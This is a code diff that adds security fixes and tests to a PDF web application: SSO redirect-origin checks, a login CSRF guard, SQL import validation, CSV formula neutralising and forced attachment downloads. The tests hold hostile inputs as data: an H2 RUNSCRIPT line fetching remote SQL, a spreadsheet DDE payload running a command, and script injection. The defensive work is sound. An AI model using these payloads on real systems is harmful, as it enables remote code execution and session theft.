MockHttpServletResponse response = new MockHttpServletResponse();
handler.onAuthenticationSuccess(request, response, authentication());
assertEquals(
"https://localhost/auth/callback#access_token=jwt", response.getRedirectedUrl());
}
}
@@ -0,0 +1,116 @@
package stirling.software.proprietary.security.saml2;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;
import java.util.List;
import java.util.Map;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.junit.jupiter.MockitoExtension;
import org.springframework.mock.web.MockHttpServletRequest;
import org.springframework.mock.web.MockHttpServletResponse;
import org.springframework.security.authentication.TestingAuthenticationToken;
import org.springframework.security.core.Authentication;
import stirling.software.common.model.ApplicationProperties;
import stirling.software.proprietary.security.service.JwtServiceInterface;
import stirling.software.proprietary.security.service.LoginAttemptService;
import stirling.software.proprietary.security.service.UserService;
import stirling.software.proprietary.service.UserLicenseSettingsService;
@ExtendWith(MockitoExtension.class)
class CustomSaml2AuthenticationSuccessHandlerTest {
private final ApplicationProperties applicationProperties = new ApplicationProperties();
private CustomSaml2AuthenticationSuccessHandler handlerWithStubs() {
LoginAttemptService loginAttemptService = mock(LoginAttemptService.class);
UserService userService = mock(UserService.class);
JwtServiceInterface jwtService = mock(JwtServiceInterface.class);
UserLicenseSettingsService licenseSettingsService = mock(UserLicenseSettingsService.class);
ApplicationProperties.Security.SAML2 saml2Props =
new ApplicationProperties.Security.SAML2();
saml2Props.setAutoCreateUser(true);
saml2Props.setBlockRegistration(false);
when(userService.usernameExistsIgnoreCase("user")).thenReturn(false);
when(licenseSettingsService.isSamlEligible(null)).thenReturn(true);
when(jwtService.isJwtEnabled()).thenReturn(true);
when(jwtService.generateToken(
org.mockito.Mockito.any(Authentication.class),
org.mockito.Mockito.anyMap()))
.thenReturn("jwt");
return new CustomSaml2AuthenticationSuccessHandler(
loginAttemptService,
saml2Props,
userService,
jwtService,
licenseSettingsService,
applicationProperties);
}
private Authentication authentication() {
CustomSaml2AuthenticatedPrincipal principal =
new CustomSaml2AuthenticatedPrincipal(
"user", Map.of(), "name-id", List.of(), "response");
return new TestingAuthenticationToken(principal, "credentials");
}
private MockHttpServletRequest request() {
MockHttpServletRequest request = new MockHttpServletRequest();
request.setContextPath("");
request.setScheme("http");
request.setServerName("localhost");
request.setServerPort(8080);
return request;
}
@Test
void ignoresForwardedHostFromAnotherHost() throws Exception {
CustomSaml2AuthenticationSuccessHandler handler = handlerWithStubs();
MockHttpServletRequest request = request();
request.addHeader("X-Forwarded-Host", "evil.example");
request.addHeader("X-Forwarded-Proto", "https");
MockHttpServletResponse response = new MockHttpServletResponse();
handler.onAuthenticationSuccess(request, response, authentication());
assertEquals(
"http://localhost:8080/auth/callback#access_token=jwt",
response.getRedirectedUrl());
}
@Test
void usesConfiguredFrontendUrlAndIgnoresHeaders() throws Exception {
CustomSaml2AuthenticationSuccessHandler handler = handlerWithStubs();
applicationProperties.getSystem().setFrontendUrl("https://app.example.com");
MockHttpServletRequest request = request();
request.addHeader("X-Forwarded-Host", "evil.example");
MockHttpServletResponse response = new MockHttpServletResponse();
handler.onAuthenticationSuccess(request, response, authentication());
assertEquals(
"https://app.example.com/auth/callback#access_token=jwt",
response.getRedirectedUrl());
}
@Test
void honoursForwardedHeadersWhenHostMatchesRequestHost() throws Exception {
CustomSaml2AuthenticationSuccessHandler handler = handlerWithStubs();
MockHttpServletRequest request = request();
request.addHeader("X-Forwarded-Host", "localhost");
request.addHeader("X-Forwarded-Proto", "https");
MockHttpServletResponse response = new MockHttpServletResponse();
handler.onAuthenticationSuccess(request, response, authentication());
assertEquals(
"https://localhost/auth/callback#access_token=jwt", response.getRedirectedUrl());
}
}
@@ -263,4 +263,58 @@ class DatabaseServiceTest {
boolean result = databaseService.importDatabaseFromUI(script);
assertThat(result).isTrue();
}
@Test
void validateSqlContentAcceptsPlainCreateAndInsert() throws IOException {
Path script =
writeScript(
"CREATE TABLE T(ID INT, NAME CHARACTER VARYING(255));\n"
+ "INSERT INTO T(ID, NAME) VALUES(1, 'Default team');\n");
assertThat(databaseService.importDatabaseFromUI(script)).isTrue();
}
@Test
void validateSqlContentRejectsTemporaryLinkedTable() throws IOException {
Path script =
writeScript(
"CREATE GLOBAL TEMPORARY LINKED TABLE X('org.h2.Driver',"
+ "'jdbc:h2:mem:p;INIT=RUNSCRIPT FROM ''http://a/x.sql''',"
+ "'sa','sa','T');");
assertThatThrownBy(() -> databaseService.importDatabaseFromUI(script))
.isInstanceOf(IllegalArgumentException.class)
.hasMessageContaining("disallowed operations");
}
@Test
void validateSqlContentRejectsForceLinkedTable() throws IOException {
Path script =
writeScript(
"CREATE FORCE LINKED TABLE X('org.h2.Driver',"
+ "'jdbc:h2:mem:p','sa','sa','T');");
assertThatThrownBy(() -> databaseService.importDatabaseFromUI(script))
.isInstanceOf(IllegalArgumentException.class)
.hasMessageContaining("disallowed operations");
}
@Test
void validateSqlContentRejectsInitRunscriptHiddenInStringLiteral() throws IOException {
Path script =
writeScript(
"CREATE TABLE T(ID INT, URL CHARACTER VARYING(255));\n"
+ "INSERT INTO T(ID, URL) VALUES(1,"
+ " 'jdbc:h2:mem:p;INIT=RUNSCRIPT FROM ''http://a/x.sql''');");
assertThatThrownBy(() -> databaseService.importDatabaseFromUI(script))
.isInstanceOf(IllegalArgumentException.class)
.hasMessageContaining("disallowed operations");
}
private Path writeScript(String sqlContent) throws IOException {
Path script = Files.createTempFile("backup", ".sql");
Files.writeString(script, sqlContent);
return script;
}
}
@@ -0,0 +1,133 @@
package stirling.software.proprietary.security.util;
import static org.junit.jupiter.api.Assertions.assertEquals;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.springframework.mock.web.MockHttpServletRequest;
import stirling.software.common.model.ApplicationProperties;
class SsoRedirectOriginResolverTest {
private ApplicationProperties applicationProperties;
private MockHttpServletRequest request;
@BeforeEach
void setUp() {
applicationProperties = new ApplicationProperties();
request = new MockHttpServletRequest();
request.setScheme("http");
request.setServerName("localhost");
request.setServerPort(8080);
}
@Test
void configuredFrontendUrlWinsOverHeaders() {
applicationProperties.getSystem().setFrontendUrl("https://app.example.com");
request.addHeader("X-Forwarded-Host", "evil.example");
request.addHeader("Referer", "https://evil.example/callback");
assertEquals(
"https://app.example.com",
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
}
@Test
void configuredFrontendUrlIsTrimmedAndTrailingSlashRemoved() {
applicationProperties.getSystem().setFrontendUrl(" https://app.example.com/ ");
assertEquals(
"https://app.example.com",
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
}
@Test
void forwardedHostFromAnotherHostIsRejected() {
request.addHeader("X-Forwarded-Host", "evil.example");
request.addHeader("X-Forwarded-Proto", "https");
assertEquals(
"http://localhost:8080",
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
}
@Test
void forwardedHostMatchingRequestHostIsAccepted() {
request.addHeader("X-Forwarded-Host", "localhost");
request.addHeader("X-Forwarded-Proto", "https");
request.addHeader("X-Forwarded-Port", "8443");
assertEquals(
"https://localhost:8443",
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
}
@Test
void forwardedHostMatchingRequestHostIgnoresDefaultPort() {
request.addHeader("X-Forwarded-Host", "LOCALHOST");
request.addHeader("X-Forwarded-Proto", "https");
request.addHeader("X-Forwarded-Port", "443");
assertEquals(
"https://LOCALHOST",
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
}
@Test
void forwardedHostWithPortMatchingRequestHostIsAccepted() {
request.addHeader("X-Forwarded-Host", "localhost:9000");
assertEquals(
"http://localhost:9000",
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
}
@Test
void refererFromAnotherHostIsRejected() {
request.addHeader("Referer", "https://evil.example/auth/callback");
assertEquals(
"http://localhost:8080",
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
}
@Test
void refererFromRequestHostIsAccepted() {
request.addHeader("Referer", "https://localhost:8443/login");
assertEquals(
"https://localhost:8443",
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
}
@Test
void refererIsConsideredWhenForwardedHostIsRejected() {
request.addHeader("X-Forwarded-Host", "evil.example");
request.addHeader("Referer", "http://localhost:8080/login");
assertEquals(
"http://localhost:8080",
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
}
@Test
void malformedRefererFallsBackToRequestOrigin() {
request.addHeader("Referer", "ht!tp://[not a url");
assertEquals(
"http://localhost:8080",
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
}
@Test
void requestOriginOmitsDefaultPort() {
request.setScheme("https");
request.setServerName("app.example.com");
request.setServerPort(443);
assertEquals(
"https://app.example.com",
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
}
}
@@ -219,6 +219,31 @@ class PdfContentExtractorTest {
assertThat(csv.get(0)).contains("\"a\"").contains("\"b\"").contains("\"c\"");
}
}
@Test
@DisplayName("neutralises formula cells but leaves numbers alone")
void formulaCellsAreNeutralised() throws IOException {
extractor = newExtractor();
TableFragment fragment =
new TableFragment(
"tbl-1",
1,
new Bounds(0, 0, 100, 100),
List.of(),
List.of(),
List.of(List.of("=cmd|'/c calc'!A1", "-1,234.00")),
2,
1.0f,
List.of(),
null);
when(tabulaTableParser.parse(any(PDDocument.class), anyInt()))
.thenReturn(List.of(fragment));
try (PDDocument doc = textDocument("with table")) {
List<String> csv = extractor.extractTablesAsCsv(doc, 1);
assertThat(csv.get(0)).contains("\"'=cmd|'/c calc'!A1\"");
assertThat(csv.get(0)).contains("\"-1,234.00\"");
}
}
}
@Nested
@@ -36,6 +36,7 @@ import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import stirling.software.proprietary.audit.AuditEventType;
import stirling.software.proprietary.security.model.User;
import stirling.software.proprietary.service.AuditService;
import stirling.software.proprietary.storage.model.FileShare;
import stirling.software.proprietary.storage.model.StoredFile;
import stirling.software.proprietary.storage.provider.StorageProvider;
import stirling.software.proprietary.storage.service.FileStorageService;
@@ -173,6 +174,109 @@ class FileStorageControllerTest {
verifyNoInteractions(auditService);
}
@Test
void downloadFile_inlineHtml_forcesAttachmentDisposition() throws Exception {
StoredFile file = newStoredFile();
file.setOriginalFilename("payload.html");
file.setContentType("text/html");
streamedDownload(file);
// Uploader-controlled HTML served inline runs on our origin and steals the JWT.
mockMvc.perform(get("/api/v1/storage/files/{fileId}/download", 77L).param("inline", "true"))
.andExpect(status().isOk())
.andExpect(
header().string(
HttpHeaders.CONTENT_DISPOSITION,
"attachment; filename=\"payload.html\""));
}
@Test
void downloadFile_inlineSvg_forcesAttachmentDisposition() throws Exception {
StoredFile file = newStoredFile();
file.setOriginalFilename("payload.svg");
file.setContentType("image/svg+xml");
streamedDownload(file);
// SVG carries script too, so it is not on the inline allowlist despite being an image.
mockMvc.perform(get("/api/v1/storage/files/{fileId}/download", 77L).param("inline", "true"))
.andExpect(status().isOk())
.andExpect(
header().string(
HttpHeaders.CONTENT_DISPOSITION,
"attachment; filename=\"payload.svg\""));
}
@Test
void downloadFile_inlineHtmlWithCharsetParameter_forcesAttachmentDisposition()
throws Exception {
StoredFile file = newStoredFile();
file.setOriginalFilename("payload.html");
file.setContentType("TEXT/HTML; charset=utf-8");
streamedDownload(file);
// Parameters and casing must not let a blocked type slip past the allowlist.
mockMvc.perform(get("/api/v1/storage/files/{fileId}/download", 77L).param("inline", "true"))
.andExpect(status().isOk())
.andExpect(
header().string(
HttpHeaders.CONTENT_DISPOSITION,
"attachment; filename=\"payload.html\""));
}
@Test
void downloadFile_inlinePdf_stillRendersInline() throws Exception {
StoredFile file = newStoredFile();
streamedDownload(file);
// The allowlist must not break the in-app viewer for the types it was built for.
mockMvc.perform(get("/api/v1/storage/files/{fileId}/download", 77L).param("inline", "true"))
.andExpect(status().isOk())
.andExpect(
header().string(
HttpHeaders.CONTENT_DISPOSITION,
"inline; filename=\"doc.pdf\""));
}
@Test
void downloadFile_inlineTextPlainWithCharsetParameter_stillRendersInline() throws Exception {
StoredFile file = newStoredFile();
file.setOriginalFilename("notes.txt");
file.setContentType("text/plain; charset=UTF-8");
streamedDownload(file);
mockMvc.perform(get("/api/v1/storage/files/{fileId}/download", 77L).param("inline", "true"))
.andExpect(status().isOk())
.andExpect(
header().string(
HttpHeaders.CONTENT_DISPOSITION,
"inline; filename=\"notes.txt\""));
}
@Test
void downloadShareLink_inlineHtml_forcesAttachmentDisposition() throws Exception {
StoredFile file = newStoredFile();
file.setOriginalFilename("payload.html");
file.setContentType("text/html");
FileShare share = new FileShare();
share.setFile(file);
when(fileStorageService.getShareByToken("tok")).thenReturn(share);
when(fileStorageService.canAccessShareLink(share, null)).thenReturn(true);
when(storageProvider.signedDownloadUrl(
anyString(), any(Duration.class), anyBoolean(), anyString()))
.thenReturn(Optional.empty());
when(fileStorageService.loadFile(file))
.thenReturn(new ByteArrayResource("<script>alert(1)</script>".getBytes(UTF_8)));
// The share-link endpoint is the unauthenticated reach, so it needs the same guard.
mockMvc.perform(get("/api/v1/storage/share-links/{token}", "tok").param("inline", "true"))
.andExpect(status().isOk())
.andExpect(
header().string(
HttpHeaders.CONTENT_DISPOSITION,
"attachment; filename=\"payload.html\""));
}
/** Stubs an app-streamed (non-presigned) download of {@code file}. */
private void streamedDownload(StoredFile file) throws Exception {
when(fileStorageService.requireAuthenticatedUser()).thenReturn(file.getOwner());
@@ -154,6 +154,19 @@ class WorkflowParticipantControllerMoreTest {
assertThat(response.getBody().getEmail()).isEqualTo("p@example.com");
}
@Test
@DisplayName("getParticipantDetails expired token throws 403")
void getParticipantDetails_expiredToken() {
WorkflowParticipant p = participant(ParticipantStatus.VIEWED);
p.setExpiresAt(java.time.LocalDateTime.now().minusDays(1));
when(participantRepository.findByShareToken(TOKEN)).thenReturn(Optional.of(p));
assertThatThrownBy(() -> controller.getParticipantDetails(TOKEN))
.isInstanceOf(ResponseStatusException.class)
.extracting(e -> ((ResponseStatusException) e).getStatusCode())
.isEqualTo(HttpStatus.FORBIDDEN);
}
@Test
@DisplayName("getParticipantDetails invalid token throws 403")
void getParticipantDetails_invalidToken() {
@@ -201,6 +214,18 @@ class WorkflowParticipantControllerMoreTest {
.isEqualTo(HttpStatus.FORBIDDEN);
}
@Test
void expiredParticipant_throwsForbidden() {
WorkflowParticipant p = participant(ParticipantStatus.PENDING);
p.setExpiresAt(java.time.LocalDateTime.now().minusDays(1));
when(participantRepository.findByShareToken(TOKEN)).thenReturn(Optional.of(p));
assertThatThrownBy(() -> controller.submitSignature(request(TOKEN)))
.isInstanceOf(ResponseStatusException.class)
.extracting(e -> ((ResponseStatusException) e).getStatusCode())
.isEqualTo(HttpStatus.FORBIDDEN);
}
@Test
void alreadyCompleted_throwsBadRequest() {
WorkflowParticipant p = participant(ParticipantStatus.SIGNED);
@@ -259,6 +284,18 @@ class WorkflowParticipantControllerMoreTest {
.isEqualTo(HttpStatus.FORBIDDEN);
}
@Test
void expiredParticipant_throwsForbidden() {
WorkflowParticipant p = participant(ParticipantStatus.PENDING);
p.setExpiresAt(java.time.LocalDateTime.now().minusDays(1));
when(participantRepository.findByShareToken(TOKEN)).thenReturn(Optional.of(p));
assertThatThrownBy(() -> controller.declineParticipation(TOKEN, "too late"))
.isInstanceOf(ResponseStatusException.class)
.extracting(e -> ((ResponseStatusException) e).getStatusCode())
.isEqualTo(HttpStatus.FORBIDDEN);
}
@Test
void alreadyCompleted_throwsBadRequest() {
WorkflowParticipant p = participant(ParticipantStatus.DECLINED);
@@ -2024,6 +2024,7 @@ missingToken = "OAuth login failed - no token received."
oauthFailed = "OAuth login failed. Please try again."
pleaseWait = "Please wait while we finish signing you in."
signedOut = "You have been signed out. Please sign in again."
unsolicited = "Login could not be completed because it was not started from this browser. Please sign in again."
windowMayClose = "You can close this window once it completes."
[auth.displayName]
@@ -100,6 +100,40 @@ function persistRedirectPath(path: string): void {
}
}
export const SSO_FLOW_STORAGE_KEY = "stirling_sso_flow";
function randomFlowId(): string {
try {
return crypto.randomUUID();
} catch (_error) {
// crypto.randomUUID is secure-context only; any opaque value works here
return `${Date.now()}-${Math.random().toString(36).slice(2)}`;
}
}
// Records that this browser started an SSO flow, so /auth/callback can tell a
// solicited token from one an attacker pasted into the URL fragment.
export function markSsoFlowStarted(): void {
try {
if (typeof window === "undefined") return;
window.sessionStorage.setItem(SSO_FLOW_STORAGE_KEY, randomFlowId());
} catch (_error) {
// sessionStorage unavailable (private mode): fail open
}
}
/** Reads and clears the single-use SSO flow marker. */
export function consumeSsoFlowMarker(): boolean {
try {
if (typeof window === "undefined") return false;
const value = window.sessionStorage.getItem(SSO_FLOW_STORAGE_KEY);
window.sessionStorage.removeItem(SSO_FLOW_STORAGE_KEY);
return Boolean(value);
} catch (_error) {
return false;
}
}
// Same-origin relative path, not pointing at auth plumbing. Rejects protocol-relative
// URLs to guard against open-redirect abuse if the stored value is tampered with.
export function isSafePostLoginRedirect(path: unknown): path is string {
@@ -488,6 +522,7 @@ class SpringAuthClient {
try {
const redirectPath = normalizeRedirectPath(params.options?.redirectTo);
persistRedirectPath(redirectPath);
markSsoFlowStarted();
// Use the full path provided by the backend
// This supports both OAuth2 (/oauth2/authorization/...) and SAML2 (/saml2/authenticate/...)
@@ -4,6 +4,8 @@ import { BrowserRouter } from "react-router-dom";
import AuthCallback from "@app/routes/AuthCallback";
import {
POST_LOGIN_REDIRECT_STORAGE_KEY,
SSO_FLOW_STORAGE_KEY,
markSsoFlowStarted,
springAuth,
} from "@app/auth/spring/springAuthClient";
import { expectConsole } from "@app/tests/failOnConsole";
@@ -239,6 +241,106 @@ describe("AuthCallback", () => {
expect(sessionStorage.getItem(POST_LOGIN_REDIRECT_STORAGE_KEY)).toBeNull();
});
it("should refuse an unsolicited fragment token when a session already exists", async () => {
expectConsole.warn(
/\[AuthCallback\] Ignoring unsolicited callback token while a session is active/,
);
// No SSO flow marker: this browser never started a login.
localStorage.setItem("stirling_jwt", "victim-token");
window.location.hash = "#access_token=attacker-token";
render(
<BrowserRouter>
<AuthCallback />
</BrowserRouter>,
);
await waitFor(() => {
expect(mockNavigate).toHaveBeenCalledWith("/login", {
replace: true,
state: {
error:
"Login could not be completed because it was not started from this browser. Please sign in again.",
},
});
});
// Victim session left untouched, attacker token never validated
expect(localStorage.getItem("stirling_jwt")).toBe("victim-token");
expect(springAuth.getSession).not.toHaveBeenCalled();
});
it("should accept a fragment token without a marker when no session exists", async () => {
const mockToken = "first-login-token";
window.location.hash = `#access_token=${mockToken}`;
vi.mocked(springAuth.getSession).mockResolvedValueOnce({
data: {
session: {
user: {
id: "123",
email: "oauth@example.com",
username: "oauthuser",
role: "USER",
},
access_token: mockToken,
expires_in: 3600,
expires_at: Date.now() + 3600000,
},
},
error: null,
});
render(
<BrowserRouter>
<AuthCallback />
</BrowserRouter>,
);
await waitFor(() => {
expect(localStorage.getItem("stirling_jwt")).toBe(mockToken);
expect(mockNavigate).toHaveBeenCalledWith("/", { replace: true });
});
});
it("should accept a fragment token when the SSO flow marker is present and clear it", async () => {
const mockToken = "reauth-token";
markSsoFlowStarted();
expect(sessionStorage.getItem(SSO_FLOW_STORAGE_KEY)).not.toBeNull();
localStorage.setItem("stirling_jwt", "previous-token");
window.location.hash = `#access_token=${mockToken}`;
vi.mocked(springAuth.getSession).mockResolvedValueOnce({
data: {
session: {
user: {
id: "123",
email: "oauth@example.com",
username: "oauthuser",
role: "USER",
},
access_token: mockToken,
expires_in: 3600,
expires_at: Date.now() + 3600000,
},
},
error: null,
});
render(
<BrowserRouter>
<AuthCallback />
</BrowserRouter>,
);
await waitFor(() => {
expect(localStorage.getItem("stirling_jwt")).toBe(mockToken);
expect(mockNavigate).toHaveBeenCalledWith("/", { replace: true });
});
// Marker is single-use
expect(sessionStorage.getItem(SSO_FLOW_STORAGE_KEY)).toBeNull();
});
it("should display loading state while processing", () => {
window.location.hash = "#access_token=processing-token";
@@ -3,6 +3,7 @@ import { useNavigate } from "react-router-dom";
import { useTranslation } from "react-i18next";
import {
consumePostLoginRedirectPath,
consumeSsoFlowMarker,
springAuth,
} from "@app/auth/spring/springAuthClient";
import { markLoginLandingPending } from "@app/utils/loginLanding";
@@ -55,6 +56,7 @@ export default function AuthCallback() {
try {
const hash = window.location.hash.substring(1);
const token = new URLSearchParams(hash).get("access_token");
const ssoFlowStarted = consumeSsoFlowMarker();
if (!token) {
console.error(
@@ -72,6 +74,24 @@ export default function AuthCallback() {
return;
}
// Login CSRF: a callback this browser never started must not replace an
// existing session. First logins (no session yet) are left working.
if (!ssoFlowStarted && localStorage.getItem("stirling_jwt")) {
console.warn(
`[AuthCallback] Ignoring unsolicited callback token while a session is active (${elapsed()})`,
);
navigate("/login", {
replace: true,
state: {
error: i18n.t(
"auth.callback.unsolicited",
"Login could not be completed because it was not started from this browser. Please sign in again.",
),
},
});
return;
}
localStorage.setItem("stirling_jwt", token);
window.dispatchEvent(new CustomEvent("jwt-available"));